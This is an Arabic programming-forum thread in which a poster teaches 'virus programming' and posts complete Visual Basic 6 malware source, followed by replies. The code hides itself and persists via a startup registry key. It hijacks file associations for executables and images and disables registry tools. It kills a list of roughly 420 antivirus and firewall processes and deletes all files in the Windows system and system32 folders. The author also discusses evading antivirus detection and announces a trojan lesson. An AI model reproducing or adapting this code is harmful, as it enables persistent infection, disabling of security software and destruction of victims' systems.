التابع (InStr): هو تابع يأخذ وسيطين كل منهما هو عبارة محرفية و يعيد هذا التابع قيمة (True)

إذا وجد العبارة الثانية داخل العبارة الأولى و يعيد قيمة (False) إذا لم يجدها.

HKEY_CLASSES_ROOT: هو أحد المفاتيح الرئيسة في مسجل النظام و يضم أنواع الملفات المسجلة

في النظام.

كود الفيروس:

'5/8/2007
'Learn Virus Programming
'(For Educational Purposes only)
'LordCover - ArabTeam2000
'www.arabteam2000.com
'Contact me: Kenano86[at]gmail.com

'WARNING OF LORD COVER: DO NOT run this program in IDE
'WARNING OF LORD COVER: DO NOT run this program in IDE
'WARNING OF LORD COVER: DO NOT run this program in IDE
'WARNING OF LORD COVER: DO NOT run this program in IDE
'WARNING OF LORD COVER: DO NOT run this program in IDE

'put all this code in a module
Public Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Public Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Public Declare Function EnumProcesses Lib "PSAPI.DLL" (lpidProcess As Long, ByVal cb As Long, cbNeeded As Long) As Long
Public Declare Function EnumProcessModules Lib "PSAPI.DLL" (ByVal hProcess As Long, lphModule As Long, ByVal cb As Long, lpcbNeeded As Long) As Long
Public Declare Function GetModuleBaseName Lib "PSAPI.DLL" Alias "GetModuleBaseNameA" (ByVal hProcess As Long, ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long

Public Declare Function TerminateProcess Lib "kernel32" (ByVal hProcess As Long, ByVal uExitCode As Long) As Long

Public Const PROCESS_VM_READ = &H10
Public Const PROCESS_QUERY_INFORMATION = &H400

Private Sub Main()
'WARNING OF LORD COVER: DO NOT run this program in IDE
'WARNING OF LORD COVER: DO NOT run this program in IDE
'WARNING OF LORD COVER: DO NOT run this program in IDE
'WARNING OF LORD COVER: DO NOT run this program in IDE
'WARNING OF LORD COVER: DO NOT run this program in IDE

'Let's hide the task
App.TaskVisible = False

'Let's dim some stuff...
Dim fso, shell, c, d

'Let's set some vars
Set fso = CreateObject("scripting.filesystemobject")
Set shell = CreateObject("wscript.shell")

c = fso.GetSpecialFolder(0)
'sending 0 will get Windows Dir
' 1 will get System Dir
' 2 will get Temp Dir

'Is our virus ran from a different file?
If Command <> "" Then
'If he ran the virus from an exe file
'the lch sub will be invoked

If InStr(Command, ".exe") Then
lch Command
End If
If InStr(Command, ".scr") Then
MsgBox "Sorry, I can not let you run this!"
End If
If InStr(Command, ".jpeg") Then
'Destroy the system
Call DestroySys
End If
If InStr(Command, ".gif") Then
'Destroy the system
Call DestroySys
End If
If InStr(Command, ".html") Then
MsgBox "Sorry, I can not let you run this!"
End If
If InStr(Command, ".dll") Then
MsgBox "Sorry, I can not let you run this!"
End If
Else
If Not fso.FileExists(c & "\pic.exe") Then

'copy this file to Windows Dir
FileCopy App.Path & "\" & App.EXEName & ".exe", c & "\pic.exe"
'this is the right copy method
'(when copying the running file)
'when dealing with viruses
'because in viruses we don't
'know our files(viruses) names always
'so the App.EXEName & ".exe" will
'solve the problem

'write the new reg keys

'put our virus in startup
shell.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\pic", c & "\pic.exe"

'put some malicious values
shell.RegWrite "HKEY_CLASSES_ROOT\exefile\shell\open\command\", Chr(34) & c & "\pic.exe" & Chr(34) & " %1"
shell.RegWrite "HKEY_CLASSES_ROOT\scrfile\shell\open\command\", Chr(34) & c & "\pic.exe" & Chr(34) & " %1"
shell.RegWrite "HKEY_CLASSES_ROOT\htmlfile\shell\open\command\", Chr(34) & c & "\pic.exe" & Chr(34) & " %1"
shell.RegWrite "HKEY_CLASSES_ROOT\jpegfile\shell\open\command\", Chr(34) & c & "\pic.exe" & Chr(34) & " %1"
shell.RegWrite "HKEY_CLASSES_ROOT\gifile\shell\open\command\", Chr(34) & c & "\pic.exe" & Chr(34) & " %1"
shell.RegWrite "HKEY_CLASSES_ROOT\dllfile\shell\open\command\", Chr(34) & c & "\pic.exe" & Chr(34) & " %1"


'you can disable the registry if you want to...
shell.RegWrite "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", "1", "REG_DWORD"
End If

End If

End
End Sub

Function lch(File As String)
On Error Resume Next

'dim stuff
Dim a, e, fso

Set fso = CreateObject("scripting.filesystemobject")
e = fso.GetSpecialFolder(0)

'run the program
Set a = CreateObject("wscript.shell")
a.run File

Dim ArrayApp(420), i As Integer
Dim name

'write a list to kill some processess
ArrayApp(1) = "ACKWIN32.EXE"
ArrayApp(2) = "ADAWARE.EXE"
ArrayApp(3) = "ADVXDWIN.EXE"
ArrayApp(4) = "AGENTSVR.EXE"
ArrayApp(5) = "AGENTW.EXE"
ArrayApp(6) = "ALERTSVC.EXE"
ArrayApp(7) = "ALEVIR.EXE"
ArrayApp(8) = "ALOGSERV.EXE"
ArrayApp(9) = "AMON9X.EXE"
ArrayApp(10) = "ANTITROJAN.EXE"
ArrayApp(11) = "ANTIVIRUS.EXE"
ArrayApp(12) = "ANTS.EXE"
ArrayApp(13) = "APIMONITOR.EXE"
ArrayApp(14) = "APLICA32.EXE"
ArrayApp(15) = "APVXDWIN.EXE"
ArrayApp(16) = "ARR.EXE"
ArrayApp(17) = "ATCON.EXE"
ArrayApp(18) = "ATGUARD.EXE"
ArrayApp(19) = "ATRO55EN.EXE"
ArrayApp(20) = "ATWATCH.EXE"
ArrayApp(21) = "AU.EXE"
ArrayApp(22) = "AUPDATE.EXE"
ArrayApp(23) = "AUTODOWN.EXE"
ArrayApp(24) = "AUTOProtect.EXE"
ArrayApp(25) = "AUTOTRACE.EXE"
ArrayApp(26) = "AUTOUPDATE.EXE"
ArrayApp(27) = "AVCONSOL.EXE"
ArrayApp(28) = "AVE32.EXE"
ArrayApp(29) = "AVGCC32.EXE"
ArrayApp(30) = "AVGCTRL.EXE"
ArrayApp(31) = "AVGNT.EXE"
ArrayApp(32) = "AVGSERV.EXE"
ArrayApp(33) = "AVGSERV9.EXE"
ArrayApp(34) = "AVGUARD.EXE"
ArrayApp(35) = "AVGW.EXE"
ArrayApp(36) = "AVKPOP.EXE"
ArrayApp(37) = "AVKSERV.EXE"
ArrayApp(38) = "AVKSERVICE.EXE"
ArrayApp(39) = "AVKWCTl9.EXE"
ArrayApp(40) = "AVLTMAIN.EXE"
ArrayApp(41) = "AVNT.EXE"
ArrayApp(42) = "AVP.EXE"
ArrayApp(43) = "AVP32.EXE"
ArrayApp(44) = "AVPCC.EXE"
ArrayApp(45) = "AVPDOS32.EXE"
ArrayApp(46) = "AVPM.EXE"
ArrayApp(47) = "AVPTC32.EXE"
ArrayApp(48) = "AVPUPD.EXE"
ArrayApp(49) = "AVSCHED32.EXE"
ArrayApp(50) = "AVSYNMGR.EXE"
ArrayApp(51) = "AVWIN95.EXE"
ArrayApp(52) = "AVWINNT.EXE"
ArrayApp(53) = "AVWUPD.EXE"
ArrayApp(54) = "AVWUPD32.EXE"
ArrayApp(55) = "AVWUPSRV.EXE"
ArrayApp(56) = "AVXMONITOR9X.EXE"
ArrayApp(57) = "AVXMONITORNT.EXE"
ArrayApp(58) = "AVXQUAR.EXE"
ArrayApp(59) = "BACKWEB.EXE"
ArrayApp(60) = "BARGAINS.EXE"
ArrayApp(61) = "BD_PROFESSIONAL.EXE"
ArrayApp(62) = "BEAGLE.EXE"
ArrayApp(63) = "BELT.EXE"
ArrayApp(64) = "BIDEF.EXE"
ArrayApp(65) = "BIDSERVER.EXE"
ArrayApp(66) = "BIPCP.EXE"
ArrayApp(67) = "BIPCPEVALSETUP.EXE"
ArrayApp(68) = "BISP.EXE"
ArrayApp(69) = "BLACKD.EXE"
ArrayApp(70) = "BLACKICE.EXE"
ArrayApp(71) = "BLSS.EXE"
ArrayApp(72) = "BOOTCONF.EXE"
ArrayApp(73) = "BOOTWARN.EXE"
ArrayApp(74) = "BORG2.EXE"
ArrayApp(75) = "BPC.EXE"
ArrayApp(76) = "BRASIL.EXE"
ArrayApp(77) = "BS120.EXE"
ArrayApp(78) = "BUNDLE.EXE"
ArrayApp(79) = "BVT.EXE"
ArrayApp(80) = "CCAPP.EXE"
ArrayApp(81) = "CCEVTMGR.EXE"
ArrayApp(82) = "CCPXYSVC.EXE"
ArrayApp(83) = "CDP.EXE"
ArrayApp(84) = "CFD.EXE"
ArrayApp(85) = "CFGWIZ.EXE"
ArrayApp(86) = "CFIADMIN.EXE"
ArrayApp(87) = "CFIAUDIT.EXE"
ArrayApp(88) = "CFINET.EXE"
ArrayApp(89) = "CFINET32.EXE"
ArrayApp(90) = "Claw95.EXE"
ArrayApp(91) = "CLAW95CF.EXE"
ArrayApp(92) = "CLEAN.EXE"
ArrayApp(93) = "CLEANER.EXE"
ArrayApp(94) = "CLEANER3.EXE"
ArrayApp(95) = "CLEANPC.EXE"
ArrayApp(96) = "Click.EXE"
ArrayApp(97) = "CMD32.EXE"
ArrayApp(98) = "CMESYS.EXE"
ArrayApp(99) = "CMGRDIAN.EXE"
ArrayApp(100) = "CMON016.EXE"
ArrayApp(101) = "CONNECTIONMONITOR.EXE"
ArrayApp(102) = "CPD.EXE"
ArrayApp(103) = "CPF9X206.EXE"
ArrayApp(104) = "CPFNT206.EXE"
ArrayApp(105) = "CTRL.EXE"
ArrayApp(106) = "CV.EXE"
ArrayApp(107) = "CWNB181.EXE"
ArrayApp(108) = "CWNTDWMO.EXE"
ArrayApp(109) = "DRWATSON.EXE"
ArrayApp(110) = "DRWEB32.EXE"
ArrayApp(111) = "DRWEBUPW.EXE"
ArrayApp(112) = "DSSAGENT.EXE"
ArrayApp(113) = "FINDVIRU.EXE"
ArrayApp(114) = "FIREWALL.EXE"
ArrayApp(115) = "FLOWPROTECTOR.EXE"
ArrayApp(116) = "FNRB32.EXE"
ArrayApp(117) = "FPROT.EXE"
ArrayApp(118) = "FRW.EXE"
ArrayApp(119) = "FSAA.EXE"
ArrayApp(120) = "FSAV.EXE"
ArrayApp(121) = "FSAV32.EXE"
ArrayApp(122) = "FSAV530STBYB.EXE"
ArrayApp(123) = "FSAV530WTBYB.EXE"
ArrayApp(124) = "FSAV95.EXE"
ArrayApp(125) = "FSGK32.EXE"
ArrayApp(126) = "FSM32.EXE"
ArrayApp(127) = "FSMA32.EXE"
ArrayApp(128) = "FSMB32.EXE"
ArrayApp(129) = "GATOR.EXE"
ArrayApp(130) = "GUARD.EXE"
ArrayApp(131) = "GUARDDOG.EXE"
ArrayApp(132) = "HACKTRACERSETUP.EXE"
ArrayApp(133) = "IEXPLORER.EXE"
ArrayApp(134) = "ISASS323223.EXE"
ArrayApp(135) = "KAVLITE40ENG.EXE"
ArrayApp(136) = "KAVPERS40ENG.EXE"
ArrayApp(137) = "KAV.EXE"
ArrayApp(138) = "KAZZA.EXE"
ArrayApp(139) = "LAUNCHER.EXE"
ArrayApp(140) = "LDNETMON.EXE"
ArrayApp(141) = "LDPRO.EXE"
ArrayApp(142) = "LDPROMENU.EXE"
ArrayApp(143) = "LDSCAN.EXE"
ArrayApp(144) = "LNETINFO.EXE"
ArrayApp(145) = "LOADER.EXE"
ArrayApp(146) = "LOCALNET.EXE"
ArrayApp(147) = "LOCKDOWN.EXE"
ArrayApp(148) = "LOCKDOWN2000.EXE"
ArrayApp(149) = "LOOKOUT.EXE"
ArrayApp(150) = "LSETUP.EXE"
ArrayApp(151) = "LUALL.EXE"
ArrayApp(152) = "LUAU.EXE"
ArrayApp(153) = "LUCOMSERVER.EXE"
ArrayApp(154) = "LUINIT.EXE"
ArrayApp(155) = "LUSPT.EXE"
ArrayApp(156) = "MAPISVC32.EXE"
ArrayApp(157) = "MCAGENT.EXE"
ArrayApp(158) = "MCMNHDLR.EXE"
ArrayApp(159) = "MCSHIELD.EXE"
ArrayApp(160) = "MCTOOL.EXE"
ArrayApp(161) = "MCUPDATE.EXE"
ArrayApp(162) = "MCVSRTE.EXE"
ArrayApp(163) = "MCVSSHLD.EXE"
ArrayApp(164) = "MD.EXE"
ArrayApp(165) = "MFIN32.EXE"
ArrayApp(166) = "MFW2EN.EXE"
ArrayApp(167) = "MGAVRTCL.EXE"
ArrayApp(168) = "MGAVRTE.EXE"
ArrayApp(169) = "MGHTML.EXE"
ArrayApp(170) = "MGUI.EXE"
ArrayApp(171) = "MINILOG.EXE"
ArrayApp(172) = "MMOD.EXE"
ArrayApp(173) = "MONITOR.EXE"
ArrayApp(174) = "MOOLIVE.EXE"
ArrayApp(175) = "MOSTAT.EXE"
ArrayApp(176) = "MPFAGENT.EXE"
ArrayApp(177) = "MPFSERVICE.EXE"
ArrayApp(178) = "MPFTRAY.EXE"
ArrayApp(179) = "MRFLUX.EXE"
ArrayApp(180) = "MSAPP.EXE"
ArrayApp(181) = "MSBB.EXE"
ArrayApp(182) = "MSBLAST.EXE"
ArrayApp(183) = "MSCACHE.EXE"
ArrayApp(184) = "MSCCN32.EXE"
ArrayApp(185) = "MSCMAN.EXE"
ArrayApp(186) = "MSCONFIG.EXE"
ArrayApp(187) = "MSDM.EXE"
ArrayApp(188) = "MSDOS.EXE"
ArrayApp(189) = "MSIEXEC16.EXE"
ArrayApp(190) = "MSINFO32.EXE"
ArrayApp(191) = "MSLAUGH.EXE"
ArrayApp(192) = "MSMGT.EXE"
ArrayApp(193) = "MSMSGRI32.EXE"
ArrayApp(194) = "MSSMMC32.EXE"
ArrayApp(195) = "MSSYS.EXE"
ArrayApp(196) = "MSVXD.EXE"
ArrayApp(197) = "MU0311AD.EXE"
ArrayApp(198) = "NOD32.EXE"
ArrayApp(199) = "N32SCANW.EXE"
ArrayApp(200) = "NAV.EXE"
ArrayApp(201) = "NAVAP.NAVAPSVC.EXE"
ArrayApp(202) = "NAVAPSVC.EXE"
ArrayApp(203) = "NAVAPW32.EXE"
ArrayApp(204) = "NAVDX.EXE"
ArrayApp(205) = "NAVENGNAVEX15.NAVLU32.EXE"
ArrayApp(206) = "NAVLU32.EXE"
ArrayApp(207) = "NAVNT.EXE"
ArrayApp(208) = "NAVSTUB.EXE"
ArrayApp(209) = "NAVW32.EXE"
ArrayApp(210) = "NAVWNT.EXE"
ArrayApp(211) = "NC2000.EXE"
ArrayApp(212) = "NCINST4.EXE"
ArrayApp(213) = "NDD32.EXE"
ArrayApp(214) = "NEOMONITOR.EXE"
ArrayApp(215) = "NEOWATCHLOG.EXE"
ArrayApp(216) = "NETARMOR.EXE"
ArrayApp(217) = "NETD32.EXE"
ArrayApp(218) = "NETINFO.EXE"
ArrayApp(219) = "NETMON.EXE"
ArrayApp(220) = "NETSTAT.EXE"
ArrayApp(221) = "NETUTILS.EXE"
ArrayApp(222) = "NISSERV.EXE"
ArrayApp(223) = "NISUM.EXE"
ArrayApp(224) = "NMAIN.EXE"
ArrayApp(225) = "NOD32.EXE"
ArrayApp(226) = "NORMIST.EXE"
ArrayApp(227) = "NOTSTART.EXE"
ArrayApp(228) = "NPF40_TW_98_NT_ME_2K.EXE"
ArrayApp(229) = "NPFMESSENGER.EXE"
ArrayApp(230) = "NPROTECT.EXE"
ArrayApp(231) = "NPSCHECK.EXE"
ArrayApp(232) = "NPSSVC.EXE"
ArrayApp(233) = "NSCHED32.EXE"
ArrayApp(234) = "NSSYS32.EXE"
ArrayApp(235) = "NSTASK32.EXE"
ArrayApp(236) = "NSUPDATE.EXE"
ArrayApp(237) = "NT.EXE"
ArrayApp(238) = "NTRTSCAN.EXE"
ArrayApp(239) = "NTVDM.EXE"
ArrayApp(240) = "NTXconfig.EXE"
ArrayApp(241) = "NUI.EXE"
ArrayApp(242) = "NUPGRADE.EXE"
ArrayApp(243) = "NVARCH16.EXE"
ArrayApp(244) = "NVC95.EXE"
ArrayApp(245) = "NVSVC32.EXE"
ArrayApp(246) = "NWINST4.EXE"
ArrayApp(247) = "NWSERVICE.EXE"
ArrayApp(248) = "NWTOOL16.EXE"
ArrayApp(249) = "OLLYDBG.EXE"
ArrayApp(250) = "ONSRVR.EXE"
ArrayApp(251) = "OPTIMIZE.EXE"
ArrayApp(252) = "OSTRONET.EXE"
ArrayApp(253) = "OTFIX.EXE"
ArrayApp(254) = "OUTPOST.EXE"
ArrayApp(255) = "OUTPOSTINSTALL.EXE"
ArrayApp(256) = "OUTPOSTPROINSTALL.EXE"
ArrayApp(257) = "PADMIN.EXE"
ArrayApp(258) = "PANIXK.EXE"
ArrayApp(259) = "PATCH.EXE"
ArrayApp(260) = "PAVPROXY.EXE"
ArrayApp(261) = "PAVSCHED.EXE"
ArrayApp(262) = "PAVW.EXE"
ArrayApp(263) = "PCC2002S902.EXE"
ArrayApp(264) = "PCC2K_76_1436.EXE"
ArrayApp(265) = "PCCIOMON.EXE"
ArrayApp(266) = "PCCNTMON.EXE"
ArrayApp(267) = "PCCWIN97.EXE"
ArrayApp(268) = "PCCWIN98.EXE"
ArrayApp(269) = "PCDSETUP.EXE"
ArrayApp(270) = "PCIP10117_0.EXE"
ArrayApp(271) = "PCSCAN.EXE"
ArrayApp(272) = "PDSETUP.EXE"
ArrayApp(273) = "PEN.EXE"
ArrayApp(274) = "PERISCOPE.EXE"
ArrayApp(275) = "PERSFW.EXE"
ArrayApp(276) = "PERSWF.EXE"
ArrayApp(277) = "PF2.EXE"
ArrayApp(278) = "PFWADMIN.EXE"
ArrayApp(279) = "PGMONITR.EXE"
ArrayApp(280) = "PLATIN.EXE"
ArrayApp(281) = "POP3TRAP.EXE"
ArrayApp(282) = "POPROXY.EXE"
ArrayApp(283) = "POPSCAN.EXE"
ArrayApp(284) = "PORTDETECTIVE.EXE"
ArrayApp(285) = "PORTMONITOR.EXE"
ArrayApp(286) = "POWERSCAN.EXE"
ArrayApp(287) = "PPINUPDT.EXE"
ArrayApp(288) = "PPTBC.EXE"
ArrayApp(289) = "PPVSTOP.EXE"
ArrayApp(290) = "PRIZESURFER.EXE"
ArrayApp(291) = "PRMT.EXE"
ArrayApp(292) = "PRMVR.EXE"
ArrayApp(293) = "PROCDUMP.EXE"
ArrayApp(294) = "PROCESSMONITOR.EXE"
ArrayApp(295) = "PROGRAMAUDITOR.EXE"
ArrayApp(296) = "PROPORT.EXE"
ArrayApp(297) = "PROTECTX.EXE"
ArrayApp(298) = "PSPF.EXE"
ArrayApp(299) = "PURGE.EXE"
ArrayApp(300) = "PUS86.EXE"
ArrayApp(301) = "PVIEW95.EXE"
ArrayApp(302) = "QCONSOLE.EXE"
ArrayApp(303) = "SQLSERVER.EXE"
ArrayApp(304) = "RAPAPP.EXE"
ArrayApp(305) = "RAV7.EXE"
ArrayApp(306) = "RAV7WIN.EXE"
ArrayApp(307) = "RAV8WIN32ENG.EXE"
ArrayApp(308) = "RAY.EXE"
ArrayApp(309) = "RB32.EXE"
ArrayApp(310) = "RCSYNC.EXE"
ArrayApp(311) = "REALMON.EXE"
ArrayApp(312) = "REGED.EXE"
ArrayApp(313) = "REGEDIT.EXE"
ArrayApp(314) = "REGEDT32.EXE"
ArrayApp(315) = "RESCUE.EXE"
ArrayApp(316) = "RESCUE32.EXE"
ArrayApp(317) = "RRGUARD.EXE"
ArrayApp(318) = "RSHELL.EXE"
ArrayApp(319) = "RTVSCAN.EXE"
ArrayApp(320) = "RTVSCN95.EXE"
ArrayApp(321) = "RULAUNCH.EXE"
ArrayApp(322) = "SAFEWEB.EXE"
ArrayApp(323) = "SAHAGENT.EXE"
ArrayApp(324) = "SAVE.EXE"
ArrayApp(325) = "SAVENOW.EXE"
ArrayApp(326) = "SBSERV.EXE"
ArrayApp(327) = "SC.EXE"
ArrayApp(328) = "SCAM32.EXE"
ArrayApp(329) = "SCAN32.EXE"
ArrayApp(330) = "SCAN95.EXE"
ArrayApp(331) = "SCANPM.EXE"
ArrayApp(332) = "SCRBLDR.EXE"
ArrayApp(333) = "SCRSVR.EXE"

ArrayApp(334) = "SCVHOST.EXE" 'yes, even this

ArrayApp(335) = "SD.EXE"
ArrayApp(336) = "SERV95.EXE"
ArrayApp(337) = "SERVLCE.EXE"
ArrayApp(338) = "SERVLCES.EXE"
ArrayApp(339) = "SETUP_FLOWPROTECTOR_US.EXE"
ArrayApp(340) = "SETUPVAMEEVAL.EXE"
ArrayApp(341) = "SFC.EXE"
ArrayApp(342) = "SGSSFW32.EXE"
ArrayApp(343) = "SH.EXE"
ArrayApp(344) = "SHELLSPYINSTALL.EXE"
ArrayApp(345) = "SHN.EXE"
ArrayApp(346) = "SHOWBEHIND.EXE"
ArrayApp(347) = "SMC.EXE"
ArrayApp(348) = "SMS234324.EXE"
ArrayApp(349) = "SMSS234324.EXE"
ArrayApp(350) = "SOAP.EXE"
ArrayApp(351) = "SOFI.EXE"
ArrayApp(352) = "SPERM.EXE"
ArrayApp(353) = "SPF.EXE"
ArrayApp(354) = "SPHINX.EXE"
ArrayApp(355) = "SPOLER.EXE"
ArrayApp(356) = "SPOOLCV322332.EXE"
ArrayApp(357) = "SPOOLSV3232323223.EXE"
ArrayApp(358) = "SPYXX.EXE"
ArrayApp(359) = "SREXE.EXE"
ArrayApp(360) = "SRNG.EXE"
ArrayApp(361) = "SS3EDIT.EXE"
ArrayApp(362) = "SSG_4104.EXE"
ArrayApp(363) = "SSGRATE.EXE"
ArrayApp(364) = "ST2.EXE"
ArrayApp(365) = "START.EXE"
ArrayApp(366) = "STCLOADER.EXE"
ArrayApp(367) = "SUPFTRL.EXE"
ArrayApp(368) = "SUPPORT.EXE"
ArrayApp(369) = "SUPPORTER5.EXE"
ArrayApp(370) = "SVC.EXE"
ArrayApp(371) = "SYSEDIT.EXE"
ArrayApp(372) = "SYSUPD.EXE"
ArrayApp(373) = "TASKMG.EXE"
ArrayApp(374) = "TASKMO.EXE"
ArrayApp(375) = "TASKMON.EXE"
ArrayApp(376) = "TAUMON.EXE"
ArrayApp(377) = "TBSCAN.EXE"
ArrayApp(378) = "TDS2 - NT.EXE"
ArrayApp(379) = "TEEKIDS.EXE"
ArrayApp(380) = "TFAK.EXE"
ArrayApp(381) = "TFAK5.EXE"
ArrayApp(382) = "TRACERT.EXE"
ArrayApp(383) = "TRICKLER.EXE"
ArrayApp(384) = "UPDAT.EXE"
ArrayApp(385) = "Update.EXE"
ArrayApp(386) = "UPGRAD.EXE"
ArrayApp(387) = "UTPOST.EXE"
ArrayApp(388) = "WATCHDOG.EXE"
ArrayApp(389) = "WEBDEV.EXE"
ArrayApp(390) = "WEBSCANX.EXE"
ArrayApp(391) = "WEBTRAP.EXE"
ArrayApp(392) = "WFINDV32.EXE"
ArrayApp(393) = "WGFE95.EXE"
ArrayApp(394) = "WINASM.EXE"
ArrayApp(395) = "WININETD.EXE"
ArrayApp(396) = "WININIT.EXE"
ArrayApp(397) = "WININITX.EXE"
ArrayApp(398) = "WINNET.EXE"
ArrayApp(399) = "WINPPR32.EXE"
ArrayApp(400) = "WINRECON.EXE"
ArrayApp(401) = "WINSERVN.EXE"
ArrayApp(402) = "WINSSK32.EXE"
ArrayApp(403) = "WINTSK32.EXE"
ArrayApp(404) = "WINUPDATE.EXE"
ArrayApp(405) = "WKUFIND.EXE"
ArrayApp(406) = "WNAD.EXE"
ArrayApp(407) = "WNT.EXE"
ArrayApp(408) = "WRADMIN.EXE"
ArrayApp(409) = "WRCTRL.EXE"
ArrayApp(410) = "WSBGATE.EXE"
ArrayApp(411) = "WUPDATER.EXE"
ArrayApp(412) = "WUPDT.EXE"
ArrayApp(413) = "MYNTWORKFIREWALL.EXE"
ArrayApp(414) = "XPSP2.EXE"
ArrayApp(415) = "PRO55.EXE"
ArrayApp(416) = "ZAPSETUP3001.EXE"
ArrayApp(417) = "ZATUTOR.EXE"
ArrayApp(418) = "ZONALM2601.EXE"
ArrayApp(419) = "ZONEALARM.EXE"
ArrayApp(420) = "Firefox.EXE"

Dim res, i
'kill any process that matches one of names above
For i = 1 To UBound(ArrayApp)
name = ArrayApp(i)
If IsProcessRunning(name) Then 'getting to know if the process is active
res = TerminateProcess(name, 0)
End If
Next i

End Function

Function DestroySys()
On Error Resume Next

'dim vars
Dim fs, x, shll

'set the vars
Set fs = CreateObject("scripting.filesystemobject")
Set shll = CreateObject("wscript.shell")
x = fs.GetSpecialFolder(0)

'I commented the Loop but
'you don't have to
'DO
'lets delete some unnecessary files
Dim filedel
Set filedel = CreateObject("Scripting.FileSystemObject")
filedel.DeleteFile x & "\system\*.*"

Dim filedelexe
Set filedelexe = CreateObject("Scripting.FileSystemObject")
filedelexe.DeleteFile x & "\system32\*.*"
'Loop

End Function

Public Function IsProcessRunning(ByVal sProcess As String) As Boolean
'you can benefit from this function
'to know if a process is active or
'not by the process name
Const MAX_PATH As Long = 260
Dim lProcesses() As Long, lModules() As Long, N As Long, lRet As Long, hProcess As Long
Dim sName As String
sProcess = UCase$(sProcess)
ReDim lProcesses(1023) As Long
If EnumProcesses(lProcesses(0), 1024 * 4, lRet) Then
For N = 0 To (lRet \ 4) - 1
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION Or PROCESS_VM_READ, 0, lProcesses(N))
If hProcess Then
ReDim lModules(1023)
If EnumProcessModules(hProcess, lModules(0), 1024 * 4, lRet) Then
sName = String$(MAX_PATH, vbNullChar)
GetModuleBaseName hProcess, lModules(0), sName, MAX_PATH
sName = Left$(sName, InStr(sName, vbNullChar) - 1)
If Len(sName) = Len(sProcess) Then
If sProcess = UCase$(sName) Then IsProcessRunning = True: Exit Function
End If
End If
End If
CloseHandle hProcess
Next N
End If
End Function

ملاحظة: لا أنصح بوضع ال(Mutex) التي تحدثنا عنها في هذا الفيروس لأن المستخدم سيقوم

بتشغيل ملف فيروس جديد عند كل اختيار لبرنامجنا من القائمة اليمينية.

ملاحظة: سأضع موضوعاً تعليمياً حول (Command Line) في فجوال بيسك 6 قريباً.

و كود الفيروس واضح و أي استفسار أنا جاهز.

كن مستعداً في الدرس الثالث لتعلم برمجة ال(Trojan) حصان طروادة بسيط.

LORDCOVER

GOOD BYTE

تم تعديل بواسطه LordCover
0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه
  • 0

السلام عليكم ورحمة الله

اخي انا لم افهم الفايرس اتمنى تضع في المرة القادمة السورس

اتمنى ايضا شرح الكود نفسه وليس الفايرس وعمله

مع شكري الجزيل لك

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه
  • 0

مداخلة سريعة :

- الـ PrevInstance و الـ Mutex شيئان مختلفان تماما.

- أبتعد عن أستعمال الـ References كالـ FSO أن كنت عايز نتائج أفضل , خليك دايما مع الـ APIs

- كن واضح و صريح مع تعريف المتغيرات , ده تطبيق مكتبى مش ويب.

@ مبرمج مبتدا : هو فعلا شرح و فعلا حط السورس ! هو لازم يحطه فى Module و يرفقه يعنى :blink: !

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه
  • 0

معلومات مفيدة جدا اخي ,

جزاك الله خيرا

وفي فايروس غلس جدا يقوم بالآتي

Private Sub Form_Load ()
TmrX.Interval = 1
End Sub

Private Sub TmrX_Timer ()
msgbox "HaHaHa"
end sub

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه
  • 0

السلام عليكم

أخي مبرمج مبتدىء: أنا قمت بوضع الكود و إن كنت تريد تنفيذ الفيروس على جهازك (و تحمل النتائج)

ضع الكود في موديول و اضغط F5 :P

فكل ما يعتمد عليه الفيروس هو سطر الأوامر Command Line و انتظر موضوع التعليمي عنه.

أخي msayed2004:

بالنسبة للمتغيرات لسنا هنا بصدد إنتاج برنامج محاسبي لذلك لم أعيرها الاهتمام الكبير.

بالنسبة لاستخدام توابع API بدلاً من Ref Objects ، أعلم ذلك، فبرامج مضادات الفيروسات سيكون

من السهل عليها اكتشاف الفيروس و و نحن هنا بصدد تعليم برمجة الفيروسات و ليس برمجة فيروس ذكي

مقاوم لبرامج مضادات الفيروسات.

بالنسبة لل Mutex شكراً لك لم أكن أعلم ذلك، ما اعتقدته هو أن الخوارزمية التي تمنع فتح كائن جديد من البرنامج

تسمى Mutex ليس أكثر.

LORDCOVER

GOOD BYTE

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه
  • 0

تعريف المتغيرات بشكل صريح و دقيق يبعندن عن أستهلاك الذاكرة بطريقة واضحة.

نعم الموضوع عن الأساسيات لكن يجب أن تكون الأساسيات دقيقة.

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه
  • 0

اخي ارفق المثال لان الكود عندما انسخه يلصقه لي وبدل السطر الجديد يضع space

اتمنى ترفق مثال

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه
  • 0

وين الدروس ؟؟

هل نسيتم الموضوع ؟؟

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه
زوار
This topic is now closed to further replies.

  • يستعرض القسم حالياً   0 members

    لا يوجد أعضاء مسجلين يشاهدون هذه الصفحة .